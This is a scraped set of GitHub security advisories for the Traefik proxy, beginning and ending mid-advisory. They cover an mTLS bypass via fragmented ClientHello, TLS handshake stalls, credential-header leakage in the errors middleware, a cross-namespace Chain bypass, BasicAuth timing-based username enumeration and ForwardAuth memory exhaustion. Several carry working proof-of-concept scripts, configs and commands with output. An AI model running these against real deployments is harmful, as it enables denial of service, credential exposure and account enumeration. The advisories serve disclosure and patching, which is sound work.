case 3 fragmented ClientHello, no client cert (bypass behavior test) python fragclienthello.py \ --connect-host 127.0.0.1 \ --port 8443 \ --sni whoami.home.arpa \ --record-size 500 in the record-size you can play with it as long as the client hello sni sniff function returns an EOF

Impact An attacker can bypass route-level mTLS enforcement by fragmenting ClientHello so Traefik pre-sniff fails (EOF) and falls back to default permissive TLS config.

</details>

--

1 / 2
Source: GitHub
First published (updated )
Severity
7.5
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Impact

There is a potential vulnerability in Traefik managing TLS handshake on TCP routers.

When Traefik processes a TLS connection on a TCP router, the read deadline used to bound protocol sniffing is cleared before the TLS handshake is completed. When a TLS handshake read error occurs, the code attempts a second handshake with different connection parameters, silently ignoring the initial error. A remote unauthenticated client can exploit this by sending an incomplete TLS record and stopping further data transmission, causing the TLS handshake to stall indefinitely and holding connections open.

By opening many such stalled connections in parallel, an attacker can exhaust file descriptors and goroutines, degrading availability of all services on the affected entrypoint.

Patches

- https://github.com/traefik/traefik/releases/tag/v2.11.38 - https://github.com/traefik/traefik/releases/tag/v3.6.9

Workarounds

No workaround available.

For more information

If there are any questions or comments about this advisory, please open an issue.

---

<details> <summary>Original Description</summary>

Traefik's TCP router uses a connection-level read deadline to bound protocol sniffing (peeking a TLS client hello), but then clears the deadline via conn.SetDeadline(time.Time{}) before delegating the connection to TLS forwarding.

A remote unauthenticated client can send an incomplete TLS record header and stop sending data. After the initial peek times out, the router clears the deadline and the subsequent TLS handshake reads can stall indefinitely, holding connections open and consuming resources.

Expected vs Actual

Expected: if an entrypoint-level read deadline is used to bound initial protocol sniffing, TLS handshake reads should remain bounded by a deadline (either the same deadline is preserved, or a dedicated handshake timeout is enforced).

Actual: after protocol sniffing the router clears the connection deadline and delegates to TLS handling; an attacker can keep the TLS handshake stalled beyond the configured read timeout.

Severity

HIGH CWE: CWE-400 (Uncontrolled Resource Consumption)

Affected Code

- pkg/server/router/tcp/router.go: (Router).ServeTCP clears the deadline before TLS forwarding - conn.SetDeadline(time.Time{}) removes the entrypoint-level deadline that previously bounded reads

Root Cause

In (Router).ServeTCP, after sniffing a TLS client hello, the router removes the connection read deadline:

// Remove read/write deadline and delegate this to underlying TCP server // (for now only handled by HTTP Server) if err := conn.SetDeadline(time.Time{}); err != nil { ... }

TLS handshake reads that happen after this point are not guaranteed to have any deadline, so a client that stops sending bytes can keep the connection open indefinitely.

Attacker Control

Attacker-controlled input is the raw TCP byte stream on an entrypoint that routes to a TLS forwarder. The attacker controls:

1. Sending a partial TLS record header (enough to trigger the TLS sniffing path) 2. Stopping further sends so the subsequent handshake read blocks

Impact

Each stalled connection occupies file descriptors and goroutines (and may consume additional memory depending on buffering). By opening many such connections in parallel, an attacker can cause resource exhaustion and degrade availability.

Reproduction

Attachments include poc.zip with a self-contained integration harness. It pins the repository commit, applies fix.patch as the control variant, and runs a regression-style test that demonstrates the stall in canonical mode and the timeout in control mode.

Run canonical (vulnerable):

unzip poc.zip -d poc cd poc make test

Canonical output excerpt: PROOFMARKER

Run control (deadline preserved / no stall):

unzip poc.zip -d poc cd poc make control

Control output excerpt: NCMARKER

Recommended Fix

Do not clear the entrypoint-level deadline prior to completing TLS handshake, or enforce a dedicated handshake timeout for the TLS forwarder path.

Fix accepted when: an incomplete TLS record cannot stall past the configured entrypoint-level read deadline (or an explicit handshake timeout), and a regression test covers the canonical/control behavior.

</details>

1 / 2
Source: GitHub
First published (updated )
Severity
6.9
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary

There is a medium severity information disclosure vulnerability in Traefik's errors (custom error pages) middleware. When the backend returns a response matching the configured status range, the middleware forwards the original request's complete header set, including Authorization, Cookie, and other authentication material, to the separate error page service rather than only the minimal context needed to render the error page. This behavior is undocumented: the documentation states only that Host is forwarded by default, so operators are not warned that sensitive credentials are shared across service boundaries. Deployments using the errors middleware with a distinct error page service may inadvertently expose end-user credentials to infrastructure that was not intended to receive them.

Patches

- https://github.com/traefik/traefik/releases/tag/v2.11.44 - https://github.com/traefik/traefik/releases/tag/v3.6.15 - https://github.com/traefik/traefik/releases/tag/v3.7.0-rc.3

For more information

If there are any questions or comments about this advisory, please open an issue.

<details> <summary>Original Description</summary>

Description Traefik v3.6.13's supported HTTP errors middleware discloses sensitive request headers to the configured error page service when the original backend response matches the configured status range and the middleware takes its default header-forwarding path. In the reproduced configuration, the business router audit-customerrors@docker pointed to backend service audit-backend, attached middleware audit-leak@docker, and the middleware was configured with errors.status=500-599, errors.service=audit-error, and errors.query=/collect. A request to the business route caused the backend to return 500, after which Traefik created a secondary request to the error service and copied the original Authorization and Cookie headers into that cross-service request.

This is a normal feature path on an ordinary HTTP route. It does not depend on api.insecure, the dashboard, pprof, or a debug-only mode. The confidentiality boundary that breaks here is the service boundary between the original backend chain and the separate error page service: credentials that were only meant for the original backend are automatically delivered to another service.

The root cause is in pkg/middlewares/customerrors/customerrors.go:151-160:

go if len(c.forwardNginxHeaders) > 0 { utils.CopyHeaders(pageReq.Header, c.forwardNginxHeaders) pageReq.Header.Set("X-Code", strconv.Itoa(code)) pageReq.Header.Set("X-Format", req.Header.Get("Accept")) pageReq.Header.Set("X-Original-Uri", req.URL.RequestURI()) } else { utils.CopyHeaders(pageReq.Header, req.Header) }

Unless the NginxHeaders branch is explicitly used, the middleware copies the entire original request header map into the error page request. The documentation at docs/content/reference/routing-configuration/http/middlewares/errorpages.md:103-107 only states that Host is forwarded by default, so operators are not warned that Authorization, Cookie, and other authentication material are forwarded as well.

Steps To Reproduce 1. Deploy Traefik v3.6.13 with a normal business route that uses the supported errors middleware and points errors.service to a distinct service. The attached PoC uses BASEURL = "http://127.0.0.1:28080", APIBASEURL = "http://127.0.0.1:28180", ROUTERPATH = "/audit-customerrors", AUTHORIZATION = "Bearer audit-secret-token", and COOKIE = "sessionid=audit-cookie; theme=dark".

2. Start the two attached helper services customerrorsbackend.py and customerrorserror.py. The backend listens on port 8000 and always returns 500. The error service listens on port 8000 and returns the request method, path, and received headers as JSON. The PoC starts them with the router and middleware labels below so that the business request is handled by the backend, while the error page is fetched from the separate error service:

text traefik.http.routers.audit-customerrors.rule=PathPrefix(/audit-customerrors) traefik.http.routers.audit-customerrors.entrypoints=web traefik.http.routers.audit-customerrors.priority=100 traefik.http.routers.audit-customerrors.service=audit-backend traefik.http.routers.audit-customerrors.middlewares=audit-leak traefik.http.services.audit-backend.loadbalancer.server.port=8000 traefik.http.middlewares.audit-leak.errors.status=500-599 traefik.http.middlewares.audit-leak.errors.service=audit-error traefik.http.middlewares.audit-leak.errors.query=/collect

3. Confirm that Traefik has loaded the route and middleware. The attached customerrorsrouter.json shows that audit-customerrors@docker uses middleware audit-leak@docker, and the attached customerrorsmiddleware.json shows that the middleware is enabled with status 500-599, service audit-error, and query /collect.

4. Send a request containing sensitive credentials through the business route. The manual reproduction used the following request, and the automated PoC sends the same header values:

bash curl -i \ -H 'Authorization: Bearer audit-secret-token' \ -H 'Cookie: sessionid=audit-cookie; theme=dark' \ http://127.0.0.1:28080/audit-customerrors

5. Observe that the backend returns 500, Traefik internally requests /collect from the error service, and the error service receives the original Authorization and Cookie headers. The attached manualcurlcustomerrors.txt response shows the leaked headers directly, and the attached poccustomerrorsheaderleak.output.txt execution log shows the same result from the automated PoC.

Recommendations The default behavior should forward only the minimal context needed to render an error page instead of copying the full original header set with utils.CopyHeaders(pageReq.Header, req.Header). At minimum, Traefik should strip Authorization, Proxy-Authorization, Cookie, Set-Cookie, and common custom authentication headers such as X-Api-Key before issuing the error page request. If operators truly need additional headers, that behavior should be opt-in through an explicit allowlist rather than the default. The documentation should also describe the current behavior and warn that routing an error page to a separate service can otherwise disclose end-user credentials across service boundaries.

PoC The main PoC attachment is poccustomerrorsheaderleak.py.

python import json import os import subprocess import sys import time import urllib.error import urllib.request from pathlib import Path

TARGET = "traefik customErrors sensitive header leak" BASEURL = "http://127.0.0.1:28080" APIBASEURL = "http://127.0.0.1:28180" TRAEFIKCONTAINER = "traefik-openclaw" NETWORK = "" DOCKERIMAGE = "python:3.12-alpine" BACKENDCONTAINER = "traefik-audit-backend" ERRORCONTAINER = "traefik-audit-error" ROUTERNAME = "audit-customerrors" ROUTERPATH = "/audit-customerrors" AUTHORIZATION = "Bearer audit-secret-token" COOKIE = "sessionid=audit-cookie; theme=dark" TIMEOUTSECONDS = 10 ROUTERWAITSECONDS = 20

EVIDENCEDIR = Path(file).resolve().parent BACKENDSCRIPT = EVIDENCEDIR / "customerrorsbackend.py" ERRORSCRIPT = EVIDENCEDIR / "customerrorserror.py"

def runcommand(command): print(f"$ {' '.join(command)}") completed = subprocess.run(command, captureoutput=True, text=True, check=True) stdout = completed.stdout.strip() stderr = completed.stderr.strip() if stdout: print(stdout) if stderr: print(stderr) return stdout

def removecontainer(name): subprocess.run(["docker", "rm", "-f", name], captureoutput=True, text=True)

def detectnetwork(): if NETWORK: return NETWORK

output = runcommand( ["docker", "inspect", TRAEFIKCONTAINER, "--format", "{{json .NetworkSettings.Networks}}"] ) networks = json.loads(output) networknames = sorted(networks.keys()) if not networknames: raise RuntimeError("No docker network found for Traefik container") return networknames[0]

def ensureimage(): runcommand(["docker", "pull", DOCKERIMAGE])

def starterrorcontainer(networkname): runcommand( [ "docker", "run", "-d", "--name", ERRORCONTAINER, "--network", networkname, "-v", f"{ERRORSCRIPT}:/srv/error.py:ro", "-l", "traefik.enable=true", "-l", f"traefik.docker.network={networkname}", "-l", "traefik.http.services.audit-error.loadbalancer.server.port=8000", DOCKERIMAGE, "python", "/srv/error.py", ] )

def startbackendcontainer(networkname): runcommand( [ "docker", "run", "-d", "--name", BACKENDCONTAINER, "--network", networkname, "-v", f"{BACKENDSCRIPT}:/srv/backend.py:ro", "-l", "traefik.enable=true", "-l", f"traefik.docker.network={networkname}", "-l", f"traefik.http.routers.{ROUTERNAME}.rule=PathPrefix({ROUTERPATH})", "-l", f"traefik.http.routers.{ROUTERNAME}.entrypoints=web", "-l", f"traefik.http.routers.{ROUTERNAME}.priority=100", "-l", f"traefik.http.routers.{ROUTERNAME}.service=audit-backend", "-l", f"traefik.http.routers.{ROUTERNAME}.middlewares=audit-leak", "-l", "traefik.http.services.audit-backend.loadbalancer.server.port=8000", "-l", "traefik.http.middlewares.audit-leak.errors.status=500-599", "-l", "traefik.http.middlewares.audit-leak.errors.service=audit-error", "-l", "traefik.http.middlewares.audit-leak.errors.query=/collect", DOCKERIMAGE, "python", "/srv/backend.py", ] )

def fetchjson(url, headers=None): request = urllib.request.Request(url, headers=headers or {}, method="GET") try: response = urllib.request.urlopen(request, timeout=TIMEOUTSECONDS) except urllib.error.HTTPError as exc: response = exc

with response: return json.loads(response.read().decode())

def waitforrouter(): deadline = time.time() + ROUTERWAITSECONDS while time.time() < deadline: try: data = fetchjson(f"{APIBASEURL}/api/rawdata") if f"{ROUTERNAME}@docker" in data.get("routers", {}): return data except Exception: pass time.sleep(1) raise RuntimeError("Timed out waiting for router")

def triggerrequest(): headers = { "Authorization": AUTHORIZATION, "Cookie": COOKIE, } return fetchjson(f"{BASEURL}{ROUTERPATH}", headers=headers)

def validate(responsejson): leakedheaders = responsejson.get("headers", {}) leakedauth = leakedheaders.get("Authorization") leakedcookie = leakedheaders.get("Cookie")

print("Response JSON:") print(json.dumps(responsejson, indent=2, sortkeys=True))

if leakedauth != AUTHORIZATION: raise RuntimeError(f"Authorization not leaked as expected, got: {leakedauth!r}") if leakedcookie != COOKIE: raise RuntimeError(f"Cookie not leaked as expected, got: {leakedcookie!r}")

print("Validation result: error page service received the original Authorization and Cookie.")

def main(): print(f"TARGET={TARGET}") networkname = detectnetwork() print(f"Using docker network: {networkname}")

removecontainer(BACKENDCONTAINER) removecontainer(ERRORCONTAINER)

try: ensureimage() starterrorcontainer(networkname) startbackendcontainer(networkname) waitforrouter() responsejson = triggerrequest() validate(responsejson) finally: removecontainer(BACKENDCONTAINER) removecontainer(ERRORCONTAINER) print("Cleaned up temporary containers.")

if name == "main": try: main() except subprocess.CalledProcessError as exc: if exc.stdout: print(exc.stdout) if exc.stderr: print(exc.stderr, file=sys.stderr) raise

Supporting backend helper used by the PoC, from customerrorsbackend.py:

python from http.server import BaseHTTPRequestHandler, HTTPServer

class Handler(BaseHTTPRequestHandler): def doGET(self): self.sendresponse(500) self.sendheader("Content-Type", "text/plain; charset=utf-8") self.endheaders() self.wfile.write(b"backend forced 500\n")

def logmessage(self, format, args): return

def main(): HTTPServer(("0.0.0.0", 8000), Handler).serveforever()

if name == "main": main()

Supporting error service helper used by the PoC, from customerrorserror.py:

python import json from http.server import BaseHTTPRequestHandler, HTTPServer

class Handler(BaseHTTPRequestHandler): def doGET(self): body = json.dumps( { "method": self.command, "path": self.path, "headers": {key: value for key, value in self.headers.items()}, }, indent=2, sortkeys=True, ).encode() self.sendresponse(200) self.sendheader("Content-Type", "application/json; charset=utf-8") self.sendheader("Content-Length", str(len(body))) self.endheaders() self.wfile.write(body)

def logmessage(self, format, args): return

def main(): HTTPServer(("0.0.0.0", 8000), Handler).serveforever()

if name == "main": main()

Evidence Files customerrorsmiddleware.json proves that the active middleware is the supported errors middleware and that it was configured with status 500-599, service audit-error, and query /collect.

json { "errors": { "status": [ "500-599" ], "service": "audit-error", "query": "/collect" }, "status": "enabled", "usedBy": [ "audit-customerrors@docker" ], "name": "audit-leak@docker", "provider": "docker", "type": "errors" }

customerrorsrouter.json proves that the business router audit-customerrors@docker was enabled on the web entrypoint, routed to audit-backend, and used middleware audit-leak@docker.

json { "entryPoints": [ "web" ], "middlewares": [ "audit-leak@docker" ], "service": "audit-backend", "rule": "PathPrefix(/audit-customerrors)", "priority": 100, "observability": { "accessLogs": true, "metrics": true, "tracing": true, "traceVerbosity": "minimal" }, "status": "enabled", "using": [ "web" ], "name": "audit-customerrors@docker", "provider": "docker", "priorityStr": "100" }

manualcurlcustomerrors.txt proves that a direct request through Traefik caused the separate error service to receive the original Authorization and Cookie values.

text HTTP/1.1 500 Internal Server Error Content-Length: 461 Content-Type: application/json; charset=utf-8 Date: Mon, 13 Apr 2026 13:09:58 GMT Server: BaseHTTP/0.6 Python/3.12.13

{ "headers": { "Accept": "/", "Accept-Encoding": "gzip", "Authorization": "Bearer audit-secret-token", "Cookie": "sessionid=audit-cookie; theme=dark", "Host": "127.0.0.1:28080", "User-Agent": "curl/8.7.1", "X-Forwarded-Host": "127.0.0.1:28080", "X-Forwarded-Port": "28080", "X-Forwarded-Proto": "http", "X-Forwarded-Server": "c231be677a1b", "X-Real-Ip": "172.19.0.1" }, "method": "GET", "path": "/collect" }

poccustomerrorsheaderleak.output.txt is the automated execution log for the Python PoC. The source material provided the following excerpt from that output, which shows the same credential disclosure and the PoC's validation result.

text Response JSON: { "headers": { "Accept-Encoding": "identity", "Authorization": "Bearer audit-secret-token", "Cookie": "sessionid=audit-cookie; theme=dark", "Host": "127.0.0.1:28080", "User-Agent": "Python-urllib/3.14", "X-Forwarded-Host": "127.0.0.1:28080", "X-Forwarded-Port": "28080", "X-Forwarded-Proto": "http", "X-Forwarded-Server": "c231be677a1b", "X-Real-Ip": "172.19.0.1" }, "method": "GET", "path": "/collect" } Validation result: error page service received the original Authorization and Cookie.

Impact Any deployment that uses the supported errors middleware with a separate error page service can silently copy end-user credentials to that second service whenever the configured error status range is triggered. In practice, this means bearer tokens, session cookies, and other custom authentication headers can be disclosed to infrastructure that was never meant to receive them. If the error service is maintained by a different team, shared across tenants, hosted by a third party, or simply logged more broadly than the primary application service, this expands the exposure of valid credentials and can enable unauthorized API access or account compromise depending on what the leaked tokens authorize.

</details>

1 / 2
Source: GitHub
First published (updated )
Severity
4.8
CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary

There is a vulnerability in Traefik's Kubernetes CRD provider cross-namespace isolation enforcement.

When providers.kubernetesCRD.allowCrossNamespace=false, Traefik correctly rejects direct cross-namespace middleware references from IngressRoute objects, but fails to apply the same restriction to middleware references nested inside a Chain middleware's spec.chain.middlewares[]. An actor with permission to create or update Traefik CRDs in their own namespace can exploit this to cause Traefik to resolve and apply middleware objects from another namespace, bypassing the documented isolation boundary.

Patches

- https://github.com/traefik/traefik/releases/tag/v2.11.43 - https://github.com/traefik/traefik/releases/tag/v3.6.14 - https://github.com/traefik/traefik/releases/tag/v3.7.0-rc.2

For more information

If there are any questions or comments about this advisory, please open an issue.

<details> <summary>Original Description</summary>

Summary When providers.kubernetesCRD.allowCrossNamespace=false, Traefik still allows a namespace-local Middleware of type Chain to reference middleware objects from another namespace via spec.chain.middlewares[].namespace.

This bypasses the documented cross-namespace restriction and allows an actor with permission to create or update Traefik CRDs in namespace A to bind middleware defined in namespace B to routes in namespace A.

Details Traefik documents allowCrossNamespace as the control that governs whether IngressRoute objects may reference resources in other namespaces.

Direct middleware references from IngressRoute.routes[].middlewares[] are validated in pkg/provider/kubernetes/crd/kuberneteshttp.go by makeMiddlewareKeys(...), which rejects cross-namespace references when allowCrossNamespace is disabled.

However, nested middleware references inside Middleware.spec.chain.middlewares[] follow a different code path. createChainMiddleware(...) in pkg/provider/kubernetes/crd/kubernetes.go does not receive or enforce allowCrossNamespace; it resolves mi.Namespace (or defaults to the current namespace) and appends makeID(ns, mi.Name) unconditionally.

At runtime, pkg/server/middleware/middlewares.go qualifies and builds config.Chain.Middlewares, so the cross-namespace middleware is actually loaded and used.

This was verified on the current master at commit 786f7192e11878dfaa634f8263bf79bb730a71cb.

This appears related to earlier cross-namespace hardening work, but the surviving issue is a distinct nested Chain middleware code path rather than the already-guarded direct reference path.

Expected behavior When providers.kubernetesCRD.allowCrossNamespace=false, any middleware reference that resolves to an object in another namespace should be rejected, whether referenced directly from an IngressRoute or indirectly through a local Chain middleware.

Actual behavior A namespace-local Chain middleware can reference spec.chain.middlewares[].namespace in another namespace, and Traefik resolves and applies that middleware even when cross-namespace references are disabled.

Attacker prerequisites The attacker must have permission to create or update Traefik CRDs in a namespace they control, but does not need permission to modify resources in the target namespace.

PoC 1. Run Traefik with the Kubernetes CRD provider and set allowCrossNamespace: false.

2. Create two namespaces, for example default and cross-ns.

3. Apply a middleware in cross-ns:

yaml apiVersion: traefik.io/v1alpha1 kind: Middleware metadata: name: victim-strip namespace: cross-ns spec: stripPrefix: prefixes: - /secret

4. Apply a chain middleware in default that references the middleware above:

yaml apiVersion: traefik.io/v1alpha1 kind: Middleware metadata: name: mychain namespace: default spec: chain: middlewares: - name: victim-strip namespace: cross-ns

5. Apply an IngressRoute in default that references only the local mychain middleware:

yaml apiVersion: traefik.io/v1alpha1 kind: IngressRoute metadata: name: demo namespace: default spec: entryPoints: - web routes: - match: Host(example.test) && PathPrefix(/demo) kind: Rule middlewares: - name: mychain services: - name: whoami port: 80

6. Observe that Traefik accepts the configuration and resolves the resulting chain to the middleware from cross-ns even though allowCrossNamespace is disabled.

7. As a control, replace the local chain reference in the IngressRoute with a direct cross-namespace middleware reference. That direct reference is rejected when allowCrossNamespace=false, which indicates the bypass is specific to nested Chain middleware resolution.

Impact

This is an authorization / trust-boundary bypass in Traefik's Kubernetes CRD provider.

Clusters that rely on providers.kubernetesCRD.allowCrossNamespace=false for namespace isolation are affected. An actor who is allowed to create or update Traefik CRDs in their own namespace can still cause Traefik to apply middleware from another namespace by referencing it indirectly through a local Chain middleware.

The practical impact depends on which middleware objects exist in the other namespace, but this can allow unauthorized reuse of security-sensitive or policy-bearing middleware across namespace boundaries. Examples include request modification, header manipulation, authentication or forward-auth related behavior, and other traffic-handling policies that were intended to remain namespace-scoped.

Testers have not verified unauthenticated remote compromise, code execution, or universal cross-tenant data exposure. The core issue is that a documented isolation control can be bypassed through the nested Chain middleware reference path.

</details>

1 / 2
Source: GitHub
First published (updated )
Severity
6.3
CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary

There is a timing side-channel vulnerability in Traefik's BasicAuth middleware that allows an attacker to enumerate valid usernames through response-time differences.

The variable intended to hold a constant-time fallback secret always resolves to an empty string, causing the constant-time comparison to short-circuit in microseconds rather than performing a full bcrypt evaluation. This restores the original timing oracle and makes it possible to distinguish existing users from non-existing ones by measuring authentication response times.

Patches

- https://github.com/traefik/traefik/releases/tag/v2.11.43 - https://github.com/traefik/traefik/releases/tag/v3.6.14 - https://github.com/traefik/traefik/releases/tag/v3.7.0-rc.2

For more information

If there are any questions or comments about this advisory, please open an issue.

<details> <summary>Original Description</summary>

BasicAuth Timing Regression: CVE-2026-32595 Fix Is a No-Op Due to Map Key/Value Confusion

TL;DR

The patch for CVE-2026-32595 is a no-op. Line 49 of basicauth.go has a map key/value confusion that makes notFoundSecret always "". The "constant time" fallback calls goauth.CheckSecret(password, ""), which fast-fails in ~1us instead of running bcrypt (~60ms).

Evidence (HEAD 786f7192e, 2026-04-09)

Black-box PoC against live traefik binary on port 28080:

| bucket | n | median | min | |------------------------------|-----|----------|----------| | existing user (wrong pw) | 240 | 62.85 ms | 57.54 ms | | nonexistent user (wrong pw) | 400 | 0.48 ms | 0.35 ms |

Median ratio: 130.4x. Classification: 8/8 correct.

Go in-tree test: goauth.CheckSecret direct ratio 12,746x.

Root cause (4-step trace)

1. basicauth.go:49: users[slices.Collect(maps.Values(users))[0]] -- looks up a hash as a username key, returns "". 2. basicauth.go:119-120: calls goauth.CheckSecret(password, ""). 3. go-http-auth/basic.go:87: empty string matches no prefix, falls to default compareMD5HashAndPassword. 4. basic.go:107-109: bytes.SplitN("", "$", 4) returns length 1, function returns instantly.

Files

- poc/exploit.py -- black-box Python timing oracle - poc/basicauthtimingregressiontest.go -- Go in-tree test - poc/traefik.yml + poc/dynamic.yml -- traefik config - poc/livehttppocoutputhead.txt -- verbatim PoC output on HEAD

Koda Reef

</details>

---

1 / 2
Source: GitHub
First published (updated )
Severity
6.3
EPSS
0.01%
CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary

There is a potential vulnerability in Traefik's BasicAuth middleware that allows username enumeration via a timing attack.

When a submitted username exists, the middleware performs a bcrypt password comparison taking ~166ms. When the username does not exist, the response returns immediately in ~0.6ms. This ~298x timing difference is observable over the network and allows an unauthenticated attacker to reliably distinguish valid from invalid usernames.

Patches

- https://github.com/traefik/traefik/releases/tag/v2.11.41 - https://github.com/traefik/traefik/releases/tag/v3.6.11 - https://github.com/traefik/traefik/releases/tag/v3.7.0-ea.2

For more information

If you have any questions or comments about this advisory, please open an issue.

<details> <summary>Original Description</summary>

Summary A timing attack vulnerability exists in Traefik's BasicAuth middleware that allows unauthenticated attackers to enumerate valid usernames. When a username exists, bcrypt password verification takes ~166ms; when it doesn't exist, the response returns immediately in ~0.6ms. This ~298x timing difference enables reliable username enumeration.

Details The vulnerability exists in the BasicAuth middleware implementation. When validating credentials: - User exists: The system performs bcrypt password comparison, which intentionally takes ~100-200ms due to bcrypt's design - User doesn't exist: The system immediately returns authentication failure in ~0.6ms

This timing difference is observable over the network and allows attackers to distinguish between valid and invalid usernames.

Root Cause: The code returns early when the user is not found, without performing a dummy bcrypt comparison to maintain constant-time execution.

Expected behavior: The system should perform a bcrypt comparison regardless of whether the user exists, to maintain consistent response times.

PoC Environment: - Traefik v3.6.9 - k3s v1.34.5

Configuration: yaml apiVersion: traefik.io/v1alpha1 kind: Middleware metadata: name: basicauth namespace: traefik-poc spec: basicAuth: secret: basic-auth-secret --- apiVersion: networking.k8s.io/v1 kind: Ingress metadata: name: test-basicauth annotations: traefik.ingress.kubernetes.io/router.middlewares: traefik-poc-basicauth@kubernetescrd spec: ingressClassName: traefik rules: - http: paths: - path: /protected pathType: Prefix backend: service: name: whoami port: number: 80

PoC Script: python #!/usr/bin/env python3 import requests import time import statistics import sys TARGET = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:30080/protected" TESTUSERS = ["admin", "root", "test", "nonexistent12345"] SAMPLES = 20 def measuretime(username, password="wrongpassword"): times = [] for in range(SAMPLES): start = time.perfcounter() requests.get(TARGET, auth=(username, password), timeout=5) elapsed = time.perfcounter() - start times.append(elapsed) return statistics.median(times) print(f"Target: {TARGET}") print(f"Samples per user: {SAMPLES}\n") for user in TESTUSERS: median = measuretime(user) if median > 0.05: # bcrypt threshold status = "[+] EXISTS (slow - bcrypt verification)" else: status = "[-] NOT FOUND (fast - immediate return)" print(f"{status}: {user:20s} | median={median:.4f}s")

Execution Results: Target: http://10.10.10.7:30080/protected Samples per user: 20

[+] EXISTS (slow - bcrypt verification): admin | median=0.1665s [-] NOT FOUND (fast - immediate return): root | median=0.0006s [-] NOT FOUND (fast - immediate return): test | median=0.0006s [-] NOT FOUND (fast - immediate return): nonexistent | median=0.0006s

Timing difference ratio: 298.0x

Impact - Vulnerability Type: Information Disclosure via Timing Attack (CWE-208) - Impact: - Attackers can enumerate valid usernames without authentication - Enables targeted password brute-force attacks against confirmed accounts - Exposes information about system user structure - Who is impacted: All users of Traefik's BasicAuth middleware are affected. The vulnerability requires: - BasicAuth middleware enabled - Attacker able to make requests to protected endpoints - Network access to measure response times - Attack Complexity: Low - only requires sending HTTP requests and measuring response times - Privileges Required: None - User Interaction: None

</details>

---

1 / 2
Source: GitHub
First published (updated )
Severity
4.4
AV:N/AC:H/PR:H/UI:N/S:U/C:N/I:N/A:H

Impact

There is a potential vulnerability in Traefik managing the ForwardAuth middleware responses.

When Traefik is configured to use the ForwardAuth middleware, the response body from the authentication server is read entirely into memory without any size limit. There is no maxResponseBodySize configuration to restrict the amount of data read from the authentication server response. If the authentication server returns an unexpectedly large or unbounded response body, Traefik will allocate unlimited memory, potentially causing an out-of-memory (OOM) condition that crashes the process.

This results in a denial of service for all routes served by the affected Traefik instance.

Patches

- https://github.com/traefik/traefik/releases/tag/v2.11.38 - https://github.com/traefik/traefik/releases/tag/v3.6.9

Workarounds

No workaround available.

For more information

If there are any questions or comments about this advisory, please open an issue.

---

<details> <summary>Original Description</summary>

Summary

The ForwardAuth middleware reads the entire authentication server response body into memory using io.ReadAll with no size limit. A single HTTP request through a ForwardAuth-protected route can cause the Traefik process to allocate gigabytes of memory and be killed by the OOM killer, resulting in complete denial of service for all routes on the affected entrypoint.

Details

In pkg/middlewares/auth/forward.go, line 213:

body, readError := io.ReadAll(forwardResponse.Body)

When the ForwardAuth middleware receives a response from the configured authentication server, it calls io.ReadAll on the response body without any size constraint. If the auth server returns a large or infinite chunked response, Traefik will attempt to buffer the entire body in memory until the process is killed.

Traefik already recognizes this class of risk for the request body direction. When forwardBody: true is configured without maxBodySize, a warning is logged (line 91-94):

logger.Warn().Msgf("ForwardAuth 'maxBodySize' is not configured with 'forwardBody: true', allowing unlimited request body size ...")

However, the response body path has no equivalent protection — no configuration option, no warning, and no default limit. The HTTP client has a 30-second timeout (line 102), but a streaming response can deliver hundreds of megabytes per second within that window.

| Direction | Protection | Code | |-----------|-----------|------| | Request body to auth server | maxBodySize config + warning log | forward.go:85-95 | | Auth server response to Traefik | None | forward.go:213 |

PoC

1. Create a malicious auth server (authinfinite.py):

from http.server import BaseHTTPRequestHandler, HTTPServer

class InfiniteAuth(BaseHTTPRequestHandler): def doGET(self): self.sendresponse(200) self.sendheader("Transfer-Encoding", "chunked") self.endheaders() chunk = b"A" (64 1024) try: while True: self.wfile.write(f"{len(chunk):x}\r\n".encode()) self.wfile.write(chunk + b"\r\n") self.wfile.flush() except BrokenPipeError: pass

HTTPServer(("0.0.0.0", 9000), InfiniteAuth).serveforever()

2. Traefik dynamic config (dynamic.yml):

http: routers: protected: entryPoints: [web] rule: "PathPrefix('/admin')" middlewares: [auth] service: whoami middlewares: auth: forwardAuth: address: "http://auth:9000/auth" services: whoami: loadBalancer: servers: - url: "http://whoami:80"

3. Docker Compose (docker-compose.yml):

services: traefik: image: traefik:v3.6 command: - --entrypoints.web.address=:8000 - --providers.file.filename=/etc/traefik/dynamic.yml ports: - "8000:8000" volumes: - ./dynamic.yml:/etc/traefik/dynamic.yml:ro deploy: resources: limits: memory: 512M dependson: [auth, whoami] auth: image: python:3.12-slim command: ["python", "/app/authinfinite.py"] volumes: - ./authinfinite.py:/app/authinfinite.py:ro whoami: image: traefik/whoami:v1.11

4. Reproduce:

docker compose up -d docker stats --no-stream traefik # ~14 MiB curl -s -o /dev/null http://localhost:8000/admin docker inspect traefik --format '{{.State.OOMKilled}}' # true docker inspect traefik --format '{{.State.ExitCode}}' # 137 (SIGKILL)

Observed results:

